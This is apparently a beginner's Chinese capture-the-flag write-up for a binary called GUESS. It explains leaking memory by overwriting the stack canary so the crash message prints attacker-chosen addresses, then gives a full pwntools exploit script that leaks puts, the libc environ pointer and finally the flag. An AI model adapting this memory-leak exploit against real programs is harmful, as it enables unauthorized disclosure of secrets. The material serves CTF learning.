思路
初学PWN,wp可能有错误的地方
因为有canary,所以输入大量字符覆盖canary后会抛出文件路径(ebp+16)。
然后程序逻辑会fork三次子进程,所以有三次泄露的机会可以用。
第一次我们用puts在Got表中的位置去覆盖ebp+16,得到puts的真实地址
然后用libcsearcher确定libc,将environ真实地址覆盖ebp+16,得到环境变量地址(在栈上)
然后计算环境变量和buf(也就是flag)的差,将flag的真实地址覆盖ebp+16,得到flag的值
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| from pwn import * from LibcSearcher import * p=process('./GUESS') elf=ELF('./GUESS') puts_addr=elf.got['puts'] print hex(puts_addr) payload1=p64(puts_addr)*100 p.sendline(payload1) p.recvuntil('one more challenge!!\n') puts_real=p.recv()[33:39]
print puts_real
print hex(u64(puts_real.ljust(8,'\x00'))) puts_real=u64(puts_real.ljust(8,'\x00')) libc=LibcSearcher('puts',puts_real) base=puts_real-libc.dump('puts') print "base ",hex(base) print hex(libc.dump('puts')) environ_real=base+libc.dump('environ') print "offset ",hex(environ_real - base)
p.sendline(p64(environ_real)*100) p.recvuntil('one more challenge!!\n') a=p.recv() print a path_real=a[33:39] flag_real=u64(path_real.ljust(8,'\x00'))-0x4c9+0x361 print hex(flag_real) gdb.attach(p,"b *0x400ad6") raw_input() p.sendline(p64(flag_real)*100) p.recvuntil('one more challenge!!\n') a=p.recv() print a
|